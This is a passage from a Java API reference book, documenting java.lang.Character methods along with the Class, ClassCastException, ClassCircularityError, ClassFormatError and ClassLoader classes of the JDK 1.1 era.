This method determines whether or not the specified character is lowercase. Unicode defines a number of characters that do not have case mappings; if the specified character is one of these characters, the method returns false.

isSpace

public static boolean isSpace(char ch)

Availability

Deprecated as of JDK 1.1

Parameters

ch

A char value to be tested.

Returns

true if the specified character is defined as whitespace in the ISO-Latin-1 character set; otherwise false.

Description

This method determines whether or not the specified character is whitespace. This method recognizes the whitespace characters shown in the following table.

\u0009

Horizontal tab

\u000A

Newline

\u000C

Formfeed

\u000D

Carriage return

\u0020 ` `

Space

This method is deprecated as of JDK 1.1. You should use isWhitespace() instead.

isSpaceChar

public static boolean isSpaceChar(char ch)

Availability

New as of JDK 1.1

Parameters

ch

A char value to be tested.

Returns

true if the specified character is a Unicode 2.0 space characters; otherwise false.

Description

This method determines if the specified character is a space character according to the Unicode 2.0 specification. A character is considered to be a Unicode space character if and only if it has the general category "Zs", "Zl", or "Zp" in the Unicode specification.

isTitleCase

public static boolean isTitleCase(char ch)

Parameters

ch

A char value to be tested.

Returns

true if the specified character is defined as titlecase in the Unicode character set; otherwise false.

Description

This method determines whether or not the specified character is a titlecase character. Unicode defines a number of characters that do not have case mappings; if the specified character is one of these characters, the method returns false.

Many characters are defined by the Unicode standard as having upper- and lowercase forms. There are some characters defined by the Unicode standard that also have a titlecase form. The glyphs for these characters look like a combination of two Latin letters. The titlecase form of these characters has a glyph that looks like a combination of an uppercase Latin character and a lowercase Latin character; this case should be used when the character appears as the first character of a word in a title. For example, one of the Unicode characters that has a titlecase form looks like the letter `D' followed by the letter `Z'. Here is what the three forms of this letter look like:

Uppercase

`DZ'

Titlecase

`Dz'

Lowercase

`dz'

isUnicodeIdentifierPart

public static boolean isUnicodeIdentifierPart(char ch)

Availability

New as of JDK 1.1

Parameters

ch

A char value to be tested.

Returns

true if the specified character can appear after the first character in a Unicode identifier; otherwise false.

Description

This method returns true if the specified character can appear in a Unicode identifier after the first character. A character is considered part of a Unicode identifier if and only if it is a letter, a digit, a connecting punctuation character (e.g., _), a numeric letter (e.g., a Roman numeral), a combining mark, a nonspacing mark, or an ignorable control character.

isUnicodeIdentifierStart

public static boolean isUnicodeIdentifierStart(char ch)

Availability

New as of JDK 1.1

Parameters

ch

A char value to be tested.

Returns

true if the specified character can appear as the first character in a Unicode identifier; otherwise false.

Description

This method returns true if the specified character can appear in a Unicode identifier as the first character. A character is considered a start of a Unicode identifier if and only if it is a letter.

isUpperCase

public static boolean isUpperCase(char ch)

Parameters

ch

A char value to be tested.

Returns

true if the specified character is defined as uppercase in the Unicode character set; otherwise false.

Description

This method determines whether or not the specified character is uppercase. Unicode defines a number of characters that do not have case mappings; if the specified character is one of these characters, the method returns false.

isWhitespace

public static boolean isWhitespace(char ch)

Availability

New as of JDK 1.1

Parameters

ch

A char value to be tested.

Returns

true if the specified character is defined as whitespace according to Java; otherwise false.

Description

This method determines whether or not the specified character is whitespace. This method recognizes the following as whitespace:

Unicode category "Zs" except \u00A0 and \uFEFF

Unicode space separators except no-break spaces

Unicode category "Zl"

Unicode line separators

Unicode category "Zp"

Unicode paragraph separators

\u0009

Horizontal tab

\u000A

Linefeed

\u000B

Vertical tab

\u000C

Formfeed

\u000D

Carriage return

\u001C

File separator

\u001D

Group separator

\u001E

Record separator

\u001F

Unit separator

toLowerCase

public static char toLowerCase(char ch)

Parameters

ch

A char value to be converted to lowercase.

Returns

The lowercase equivalent of the specified character, or the character itself if it cannot be converted to lowercase.

Description

This method returns the lowercase equivalent of the specified character value. If the specified character is not uppercase or if it has no lowercase equivalent, the character is returned unmodified. The Unicode attribute table determines if a character has a mapping to a lowercase equivalent.

Some Unicode characters in the range \u2000 through \u2FFF have lowercase mappings. For example, \u2160 (Roman numeral one) has a lowercase mapping to \u2170 (small Roman numeral one). The toLowerCase() method maps such characters to their lowercase equivalents even though the method isUpperCase() does not return true for such characters.

toTitleCase

public static char toTitleCase(char ch)

Parameters

ch

A char value to be converted to titlecase.

Returns

The titlecase equivalent of the specified character, or the character itself if it cannot be converted to titlecase.

Description

This method returns the titlecase equivalent of the specified character value. If the specified character has no titlecase equivalent, the character is returned unmodified. The Unicode attribute table is used to determine the character's titlecase equivalent.

Many characters are defined by the Unicode standard as having upper- and lowercase forms. There are some characters defined by the Unicode standard that also have a titlecase form. The glyphs for these characters look like a combination of two Latin letters. The titlecase form of these characters has a glyph that looks like a combination of an uppercase Latin character and a lowercase Latin character; this case should be used when the character appears as the first character of a word in a title. For example, one of the Unicode characters that has a titlecase form looks like the letter `D' followed by the letter `Z'. Here is what the three forms of this letter look like:

Uppercase

`DZ'

Titlecase

`Dz'

Lowercase

`dz'

toUpperCase

public static char toUpperCase(char ch)

Parameters

ch

A char value to be converted to lowercase.

Returns

The uppercase equivalent of the specified character, or the character itself if it cannot be converted to uppercase.

Description

This method returns the uppercase equivalent of the specified character value. If the specified character is not lowercase or if it has no uppercase equivalent, the character is returned unmodified. The Unicode attribute table determines if a character has a mapping to an uppercase equivalent.

Some Unicode characters in the range \u2000 through \u2FFF have uppercase mappings. For example, \u2170 (small Roman numeral one) has a lowercase mapping to \u2160 (Roman numeral one). The toUpperCase() method maps such characters to their uppercase equivalents even though the method isLowerCase() does not return true for such characters.

Instance Methods

charValue

public char charValue()

Returns

The char value contained by the object.

equals

public boolean equals(Object obj)

Parameters

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of Character, and it contains the same value as the object this method is associated with.

hashCode

public int hashCode()

Returns

A hashcode based on the char value of the object.

Overrides

Object.hashCode()

toString

public String toString()

Returns

A String of length one that contains the character value of the object.

Overrides

Object.toString()

Description

This method returns a string representation of the Character object.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Class, Object, Serializable

Previous | Home | Next
Byte | Book Index | Class
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Class

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

Class

Name

Class

Synopsis

Class Name:

java.lang.Class

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.io.Seriablizable

Availability:

JDK 1.0 or later

Description

As of Java 1.1, instances of the Class class are used as run-time descriptions of all Java data types, both reference types and primitive types. The Class class has also been greatly expanded in 1.1 to provide support for the Reflection API. Prior to 1.1, Class just provided run-time descriptions of reference types.

A Class object provides considerable information about the data type. You can use the isPrimitive() method to find out if a Class object describes a primitive type, while isArray() indicates if the object describes an array type. If a Class object describes a class or interface type, there are numerous methods that return information about the fields, methods, and constructors of the type. This information is returned as java.lang.reflect.Field, java.lang.reflect.Method, and java.lang.reflect.Constructor objects.

There are a number of ways that you can get a Class object for a particular data type:

  • If you have an object, you can get the Class object that describes the class of that object by calling the object's getClass()method. Every class inherits this method from the Object class.

  • As of Java 1.1, you can get the Class object that describes any Java type using the new class literal syntax. A class literal is simply the name of a type (a class name or a primitive type name) followed by a period and the class keyword. For example:

    Class s = String.class;
Class i = int.class;
Class v = java.util.Vector.class;

  • In Java 1.0, you can get the Class object from the name of a data type using the forName() class method of Class. For example:

    Class v = Class.forName("java.util.Vector");

    This technique still works in Java 1.1, but it is more cumbersome (and less efficient) than using a class literal.

You can create an instance of a class using the newInstance() method of a Class object, if the class has a constructor that takes no arguments.

The Class class has no public constructors; it cannot be explicitly instantiated. Class objects are normally created by the ClassLoader class or a ClassLoader object.

Class Summary

public final class java.lang.Class extends java.lang.Object
                                   implements java.io.Serializable {
    // Class Methods
    public static native Class forName(String className);
    // Instance Methods
    public Class[] getClasses();                           // New in 1.1
    public native ClassLoader getClassLoader();
    public native Class getComponentType();                // New in 1.1
    public Constructor
           getConstructor(Class[] parameterTypes);         // New in 1.1
    public Constructor[] getConstructors();                // New in 1.1
    public Class[] getDeclaredClasses();                   // New in 1.1
    public Constructor
           getDeclaredConstructor(Class[] parameterTypes); // New in 1.1
    public Constructor[] getDeclaredConstructors();        // New in 1.1
    public Field getDeclaredField(String name);            // New in 1.1
    public Field[] getDeclaredFields();                    // New in 1.1
    public Method getDeclaredMethod(String name,
                  Class[] parameterTypes)                  // New in 1.1
    public Method[] getDeclaredMethods()                   // New in 1.1
    public Class getDeclaringClass();                      // New in 1.1
    public Field getField(String name);                    // New in 1.1
    public Field[] getFields();                            // New in 1.1
    public native Class[] getInterfaces();
    public Method getMethod(String name,
                  Class[] parameterTypes);                 // New in 1.1
    public Method[] getMethods();                          // New in 1.1
    public native int getModifiers();                      // New in 1.1
    public native String getName();
    public URL getResource(String name);                   // New in 1.1
    public InputStream getResourceAsStream(String name);   // New in 1.1
    public native Object[] getSigners();                   // New in 1.1
    public native Class getSuperclass();
    public native boolean isArray();                       // New in 1.1
    public native boolean isAssignableFrom(Class cls);     // New in 1.1
    public native boolean isInstance(Object obj);          // New in 1.1
    public native boolean isInterface();
    public native boolean isPrimitive();                   // New in 1.1
    public native Object newInstance();
    public String toString();
}

Class Methods

forName

 public static Class forName(String className) throws ClassNotFoundException

Parameters

className

Name of a class qualified by the name of its package. If the class is defined inside of another class, all dots (.) that separate the top-level class name from the class to load must be changed to dollar signs ($) for the name to be recognized.

Returns

A Class object that describes the named class.

Throws

ClassNotFoundException

If the class cannot be loaded because it cannot be found.

Description

This method dynamically loads a class if it has not already been loaded. The method returns a Class object that describes the named class.

The most common use of forName() is for loading classes on the fly when an application wants to use classes it wasn't built with. For example, a web browser uses this technique. When a browser needs to load an applet, the browser calls Class.forName() for the applet. The method loads the class if it has not already been loaded and returns the Class object that encapsulates the class. The browser then creates an instance of the applet by calling the Class object's newInstance() method.

When a class is loaded using a ClassLoader object, any classes loaded at the instigation of that class are also loaded using the same ClassLoader object. This method implements that security policy by trying to find a ClassLoader object to load the named class. The method searches the stack for the most recently invoked method associated with a class that was loaded using a ClassLoader object. If such a class is found, the ClassLoader object associated with that class is used.

Instance Methods

getClasses

public Class[] getClasses()

Availability

New as of JDK 1.1

Returns

An array of Class objects that contains the public classes and interfaces that are members of this class.

Description

If this Class object represents a reference type, this method returns an array of Class objects that lists all of the public classes and interfaces that are members of this class or interface. The list includes public classes and interfaces that are inherited from superclasses and that are defined by this class or interface. If there are no public member classes or interfaces, or if this Class represents a primitive type, the method returns an array of length 0.

As of Java 1.1.1, this method always returns an array of length 0, no matter how many public member classes this class or interface actually declares.

getClassLoader

public native ClassLoader getClassLoader()

Returns

The ClassLoader object used to load this class or null if this class was not loaded with a ClassLoader.

Description

This method returns the ClassLoader object that was used to load this class. If this class was not loaded with a ClassLoader, null is returned.

This method is useful for making sure that a class gets loaded with the same class loader as was used for loading this Class object.

getComponentType

public native Class getComponentType()

Availability

New as of JDK 1.1

Returns

A Class object that describes the component type of this class if it is an array type.

Description

If this Class object represents an array type, this method returns a Class object that describes the component type of the array. If this Class does not represent an array type, the method returns null.

getConstructor

 public Constructor getConstructor(Class[] parameterTypes) throws NoSuchMethodException, SecurityException

Availability

New as of JDK 1.1

Parameters

parameterTypes

An array of Class objects that describes the parameter types, in declared order, of the constructor.

Returns

A Constructor object that reflects the specified public constructor of this class.

Throws

NoSuchMethodException

If the specified constructor does not exist.

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class, this method returns a Constructor object that reflects the specified public constructor of this class. The constructor is located by searching all of the constructors of the class for a public constructor that has exactly the same formal parameters as specified. If this Class does not represent a class, the method returns null.

getConstructors

 public Constructor[] getConstructors() throws SecurityException

Availability

New as of JDK 1.1

Returns

An array of Constructor objects that reflect the public constructors of this class.

Throws

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class, this method returns an array of Constructor objects that reflect the public constructors of this class. If there are no public constructors, or if this Class does not represent a class, the method returns an array of length 0.

getDeclaredClasses

public Class[] getDeclaredClasses() throws SecurityException

Availability

New as of JDK 1.1

Returns

An array of Class objects that contains all of the declared classes and interfaces that are members of this class.

Throws

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a reference type, this method returns an array of Class objects that lists all of the classes and interfaces that are members of this class or interface. The list includes public, protected, default access, and private classes and interfaces that are defined by this class or interface, but it excludes classes and interfaces inherited from superclasses. If there are no such member classes or interfaces, or if this Class represents a primitive type, the method returns an array of length 0.

As of Java 1.1.1, this method always returns an array of length 0, no matter how many member classes this class or interface declares.

getDeclaredConstructor

 public Constructor getDeclaredConstructor(Class[] parameterTypes) throws NoSuchMethodException, SecurityException

Availability

New as of JDK 1.1

Parameters

parameterTypes

An array of Class objects that describes the parameter types, in declared order, of the constructor.

Returns

A Constructor object that reflects the specified declared constructor of this class.

Throws

NoSuchMethodException

If the specified constructor does not exist.

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class, this method returns a Constructor object that reflects the specified declared constructor of this class. The constructor is located by searching all of the constructors of the class for a public, protected, default access, or private constructor that has exactly the same formal parameters as specified. If this Class does not represent a class, the method returns null.

getDeclaredConstructors

 public Constructor[] getDeclaredConstructors() throws SecurityException

Availability

New as of JDK 1.1

Returns

An array of Constructor objects that reflect the declared constructors of this class.

Throws

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class, this method returns an array of Constructor objects that reflect the public, protected, default access, and private constructors of this class. If there are no declared constructors, or if this Class does not represent a class, the method returns an array of length 0.

getDeclaredField

 public Field getDeclaredField(String name) throws NoSuchFieldException, SecurityException

Availability

New as of JDK 1.1

Parameters

name

The simple name of the field.

Returns

A Field object that reflects the specified declared field of this class.

Throws

NoSuchFieldException

If the specified field does not exist.

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class or interface, this method returns a Field object that reflects the specified declared field of this class. The field is located by searching all of the fields of the class (but not inherited fields) for a public, protected, default access, or private field that has the specified simple name. If this Class does not represent a class or interface, the method returns null.

getDeclaredFields

public Field[] getDeclaredFields() throws SecurityException

Availability

New as of JDK 1.1

Returns

An array of Field objects that reflect the declared fields of this class.

Throws

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class or interface, this method returns an array of Field objects that reflect the public, protected, default access, and private fields declared by this class, but excludes inherited fields. If there are no declared fields, or if this Class does not represent a class or interface, the method returns an array of length 0.

This method does not reflect the implicit length field for array types. The methods of the class Array should be used to manipulate array types.

getDeclaredMethod

 public Method getDeclaredMethod(String name, Class[] parameterTypes) throws NoSuchMethodException, SecurityException

Availability

New as of JDK 1.1

Parameters

name

The simple name of the method.

parameterTypes

An array of Class objects that describes the parameter types, in declared order, of the method.

Returns

A Method object that reflects the specified declared method of this class.

Throws

NoSuchMethodException

If the specified method does not exist.

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class or interface, this method returns a Method object that reflects the specified declared method of this class. The method is located by searching all of the methods of the class (but not inherited methods) for a public, protected, default access, or private method that has the specified simple name and exactly the same formal parameters as specified. If this Class does not represent a class or interface, the method returns null.

getDeclaredMethods

public Method[] getDeclaredMethods() throws SecurityException

Availability

New as of JDK 1.1

Returns

An array of Method objects that reflect the declared methods of this class.

Throws

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class or interface, this method returns an array of Method objects that reflect the public, protected, default access, and private methods declared by this class, but excludes inherited methods. If there are no declared methods, or if this Class does not represent a class or interface, the method returns an array of length 0.

getDeclaringClass

public Class getDeclaringClass()

Availability

New as of JDK 1.1

Returns

A Class object that represents the declaring class if this class is a member of another class.

Description

If this Class object represents a class or interface that is a member of another class or interface, this method returns a Class object that describes the declaring class or interface. If this class or interface is not a member of another class or interface, or if it represents a primitive type, the method returns null.

getField

 public Field getField(String name) throws NoSuchFieldException, SecurityException

Availability

New as of JDK 1.1

Parameters

name

The simple name of the field.

Returns

A Field object that reflects the specified public field of this class.

Throws

NoSuchFieldException

If the specified field does not exist.

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class or interface, this method returns a Field object that reflects the specified public field of this class. The field is located by searching all of the fields of the class, including any inherited fields, for a public field that has the specified simple name. If this Class does not represent a class or interface, the method returns null.

getFields

public Field[] getFields() throws SecurityException

Availability

New as of JDK 1.1

Returns

An array of Field objects that reflect the public fields of this class.

Throws

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class or interface, this method returns an array of Field objects that reflect the public fields declared by this class and any inherited public fields. If there are no public fields, or if this Class does not represent a class or interface, the method returns an array of length 0.

This method does not reflect the implicit length field for array types. The methods of the class Array should be used to manipulate array types.

getInterfaces

public native Class[] getInterfaces()

Returns

An array of the interfaces implemented by this class or extended by this interface.

Description

If the Class object represents a class, this method returns an array that refers to all of the interfaces that the class implements. The order of the interfaces referred to in the array is the same as the order in the class declaration's implements clause. If the class does not implement any interfaces, the length of the returned array is 0.

If the object represents an interface, this method returns an array that refers to all of the interfaces that this interface extends. The interfaces occur in the order they appear in the interface declaration's extends clause. If the interface does not extend any interfaces, the length of the returned array is 0.

If the object represents a primitive or array type, the method returns an array of length 0.

getMethod

 public Method getMethod(String name, Class[] parameterTypes) throws NoSuchMethodException, SecurityException

Availability

New as of JDK 1.1

Parameters

name

The simple name of the method.

parameterTypes

An array of Class objects that describes the parameter types, in declared order, of the method.

Returns

A Method object that reflects the specified public method of this class.

Throws

NoSuchMethodException

If the specified method does not exist.

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class or interface, this method returns a Method object that reflects the specified public method of this class. The method is located by searching all of the methods of the class, including any inherited methods, for a public method that has the specified simple name and exactly the same formal parameters as specified. If this Class does not represent a class or interface, the method returns null.

getMethods

public Method[] getMethods() throws SecurityException

Availability

New as of JDK 1.1

Returns

An array of Method objects that reflect the public methods of this class.

Throws

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class or interface, this method returns an array of Method objects that reflect the public methods declared by this class and any inherited public methods. If there are no public methods or if this Class doesn't represent a class or interface, the method returns an array of length 0.

getModifiers

public native int getModifiers()

Availability

New as of JDK 1.1

Returns

An integer that represents the modifier keywords used to declare this class.

Description

If this Class object represents a class or interface, this method returns an integer value that represents the modifiers used to declare the class or interface. The Modifier class should be used to decode the returned value.

getName

public native String getName()

Returns

The fully qualified name of this class or interface.

Description

This method returns the fully qualified name of the type represented by this Class object.

If the object represents the class of an array, the method returns a String that contains as many left square brackets as there are dimensions in the array, followed by a code that indicates the type of element contained in the base array. Consider the following:

(new int [3][4][5]).getClass().getName()

This code returns "[[[I". The codes used to indicate the element type are as follows:

Code

Type

[

array

B

byte

C

char

d

double

F

float

I

int

J

long

L fully_qualified_class_name

class or interface

S

short

Z

boolean

getResource

public URL getResource(String name)

Availability

New as of JDK 1.1

Parameters

name

A resource name.

Returns

A URL object that is connected to the specified resource or null if the resource cannot be found.

Description

This method finds a resource with the given name for this Class object and returns a URL object that is connected to the resource. The rules for searching for a resource associated with a class are implemented by the ClassLoader for the class; this method simply calls the getResource() method of the ClassLoader. If this class does not have a ClassLoader (i.e., it is a system class), the method calls the ClassLoader.getSystemResource() method.

getResourceAsStream

public InputStream getResourceAsStream(String name)

Availability

New as of JDK 1.1

Parameters

name

A resource name.

Returns

An InputStream object that is connected to the specified resource or null if the resource cannot be found.

Description

This method finds a resource with the given name for this Class object and returns an InputStream object that is connected to the resource. The rules for searching for a resource associated with a class are implemented by the ClassLoader for the class; this method simply calls the getResourceAsStream() method of the ClassLoader. If this class does not have a ClassLoader (i.e., it is a system class), the method calls the ClassLoader.getSystemResourceAsStream() method.

getSigners

public native Object[] getSigners()

Availability

New as of JDK 1.1

Returns

An array of Objects that represents the signers of this class.

Description

This method returns an array of objects that represents the digital signatures for this class.

getSuperclass

public native Class getSuperclass()

Returns

The superclass of this class or null if there is no superclass.

Description

If the Class object represents a class other than Object, this method returns the Class object that represents its superclass. If the object represents an interface, the Object class, or a primitive type, the method returns null.

isArray

public native boolean isArray()

Availability

New as of JDK 1.1

Returns

true if this object describes an array type; otherwise false.

isAssignableFrom

public native boolean isAssignableFrom(Class cls)

Availability

New as of JDK 1.1

Parameters

cls

A Class object to be tested.

Returns

true if the type represented by cls is assignable to the type of this class: otherwise false.

Throws

NullPointerException

If cls is null.

Description

This method determines whether or not the type represented by cls is assignable to the type of this class. If this class represents a class, this class must be the same as cls or a superclass of cls. If this class represents an interface, this class must be the same as cls or a superinterface of cls. If this class represents a primitive type, this class must be the same as cls.

isInstance

public native boolean isInstance(Object obj)

Availability

New as of JDK 1.1

Parameters

obj

An Object to be tested.

Returns

true if obj can be cast to the reference type specified by this class; otherwise false.

Throws

NullPointerException

If obj is null.

Description

This method determines whether or not the object represented by obj can be cast to the type of this class object without causing a ClassCastException. This method is the dynamic equivalent of the instanceof operator.

isInterface

public native boolean isInterface()

Returns

true if this object describes an interface; otherwise false.

isPrimitive

public native boolean isPrimitive()

Availability

New as of JDK 1.1

Returns

true if this object describes a primitive type; otherwise false.

newInstance

 public native Object newInstance () throws InstantiationException, IllegalAccessException

Returns

A reference to a new instance of this class.

Throws

InstantiationException

If the Class object represents an interface or an abstract class.

IllegalAccessException

If the class or an initializer is not accessible.

Description

This method creates a new instance of this class by performing these steps:

  1. It creates a new object of the class represented by the Class object.

  2. It calls the constructor for the class that takes no arguments.

  3. It returns a reference to the initialized object.

The newInstance() method is useful for creating an instance of a class that has been dynamically loaded using the forName() method.

The reference returned by this method is usually cast to the type of object that is instantiated.

The newInstance() method can throw objects that are not instances of the classes it is declared to throw. If the constructor invoked by newInstance() throws an exception, the exception is thrown by newInstance() regardless of the class of the object.

toString

public String toString()

Returns

A String that contains the name of the class with either 'class' or 'interface' prepended as appropriate.

Overrides

Object.toString()

Description

This method returns a string representation of the Class object.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals() | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Array, ClassLoader, ClassNotFoundException, Constructor, Field, IllegalAccessException, InputStream InstantiationException, Method, Modifier, NoSuchFieldException, NoSuchMethodException, Object, SecurityException, SecurityManager, URL

Previous | Home | Next
Character | Book Index | ClassCastException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] ClassCastException

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

ClassCastException

Name

ClassCastException

Synopsis

Class Name:

java.lang.ClassCastException

Superclass:

java.lang.RuntimeException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A ClassCastException is thrown when there is an attempt to cast a reference to an object to an inappropriate type.

Class Summary

public class java.lang.ClassCastException
             extends java.lang.RuntimeException {
  // Constructors
  public ClassCastException();
  public ClassCastException(String s);
}

Constructors

ClassCastException

public ClassCastException()

Description

This constructor creates a ClassCastException with no associated detail message.

public ClassCastException(String s)

Parameters

s

The detail message.

Description

This constructor creates a ClassCastException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, RuntimeException, Throwable

Previous | Home | Next
Class | Book Index | ClassCircularityError
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] ClassCircularityError

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

ClassCircularityError

Name

ClassCircularityError

Synopsis

Class Name:

java.lang.ClassCircularityError

Superclass:

java.lang.LinkageError

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A ClassCircularityError is thrown when a circular reference among classes is detected during class initialization.

Class Summary

public class java.lang.ClassCircularityError
             extends java.lang.LinkageError {
  // Constructors
  public ClassCircularityError();
  public ClassCircularityError(String s);
}

Constructors

ClassCircularityError

public ClassCircularityError()

Description

This constructor creates a ClassCircularityError with no associated detail message.

public ClassCircularityError(String s)

Parameters

s

The detail message.

Description

This constructor creates a ClassCircularityError with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Error, LinkageError, Throwable

Previous | Home | Next
ClassCastException | Book Index | ClassFormatError
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] ClassFormatError

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

ClassFormatError

Name

ClassFormatError

Synopsis

Class Name:

java.lang.ClassFormatError

Superclass:

java.lang.LinkageError

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A ClassFormatError is thrown when an error is detected in the format of a file that contains a class definition.

Class Summary

public class java.lang.ClassFormatError extends java.lang.LinkageError {
  // Constructors
  public ClassFormatError();
  public ClassFormatError(String s);
}

Constructors

ClassFormatError

public ClassFormatError()

Description

This constructor creates a ClassFormatError with no associated detail message.

public ClassFormatError(String s)

Parameters

s

The detail message.

Description

This constructor creates a ClassFormatError with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Error, LinkageError, Throwable

Previous | Home | Next
ClassCircularityError | Book Index | ClassLoader
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] ClassLoader

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

ClassLoader

Name

ClassLoader

Synopsis

Class Name:

java.lang.ClassLoader

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The ClassLoader class provides a mechanism for Java to load classes over a network or from any source other than the local filesystem. The default class-loading mechanism loads classes from files found relative to directories specified by the CLASSPATH environment variable. This default mechanism does not use an instance of the ClassLoader class.

An application can implement another mechanism for loading classes by declaring a subclass of the abstract ClassLoader class. A subclass of ClassLoader must override the loadClass() to define a class-loading policy. This method implements any sort of security that is necessary for the class-loading mechanism. The other methods of ClassLoader are final, so they cannot be overridden.

A ClassLoader object is typically used by calling its loadClass() method to explicitly load a top-level class, such as a subclass of Applet. The ClassLoader that loads the class becomes associated with the class; it can be obtained by calling the getClassLoader() method of the Class object that represents the class.

Once a class is loaded, it must be resolved before it can be used. Resolving a class means ensuring that all of the other classes it references are loaded. In addition, all of the classes that they reference must be loaded, and so on, until all of the needed classes have been loaded. Classes are resolved using the resolveClass() method of the ClassLoader object that loaded the initial class. This means that when a ClassLoader object is explicitly used to load a class, the same ClassLoader is used to load all of the classes that it references, directly or indirectly.

Classes loaded using a ClassLoader object may attempt to load additional classes without explicitly using a ClassLoader object. They can do this by calling the Class class' forName() method. However, in such a situation, a ClassLoader object is implicitly used. See the description of Class.forName() for more information.

Java identifies a class by a combination of its fully qualified name and the class loader that was used to load the class. If you write a subclass of ClassLoader, it should not attempt to directly load local classes. Instead, it should call findSystemClass(). A local class that is loaded directly by a ClassLoader is considered to be a different class than the same class loaded by findSystemClass(). This can lead to having two copies of the same class loaded, which can cause a number of inconsistencies. For example, the class' equals() method may decide that the same object is not equal to itself.

Class Summary

public abstract class java.lang.ClassLoader extends java.lang.Object {
    // Constructors
    protected ClassLoader();
    // Class Methods
    public static final URL
           getSystemResource(String name);                  // New in 1.1
    public static final InputStream
           getSystemResourceAsStream(String name);          // New in 1.1
    // Public Instance Methods
    public URL getResource(String name);                    // New in 1.1
    public InputStream getResourceAsStream(String name);    // New in 1.1
    public Class loadClass(String name);                    // New in 1.1

    // Protected Instance Methods
    protected final Class defineClass(byte data[],
              int offset, int length);               // Deprecated in 1.1
    protected final Class defineClass(String name,
              byte[] data, int offset, int length);         // New in 1.1
    protected final Class findLoadedClass(String name);     // New in 1.1
    protected final Class findSystemClass(String name);
    protected abstract Class loadClass(String name, boolean resolve);
    protected final void resolveClass(Class c);
    protected final void setSigners(Class cl,
              Object[] signers);                            // New in 1.1
}

Constructors

ClassLoader

protected ClassLoader()

Throws

SecurityException

If there is a SecurityManager object installed and its checkCreateClassLoader() method throws a SecurityException when called by this constructor.

Description

Initializes a ClassLoader object. Because ClassLoader is an abstract class, only subclasses of the class can access this constructor.

Class Methods

getSystemResource

public static final URL getSystemResource(String name)

Availability

New as of JDK 1.1

Parameters

name

A system resource name.

Returns

A URL object that is connected to the specified system resource or null if the resource cannot be found.

Description

This method finds a system resource with the given name and returns a URL object that is connected to the resource. The resource name can be any system resource.

getSystemResourceAsStream

public static final InputStream getSystemResourceAsStream(String name)

Availability

New as of JDK 1.1

Parameters

name

A system resource name.

Returns

An InputStream object that is connected to the specified system resource or null if the resource cannot be found.

Description

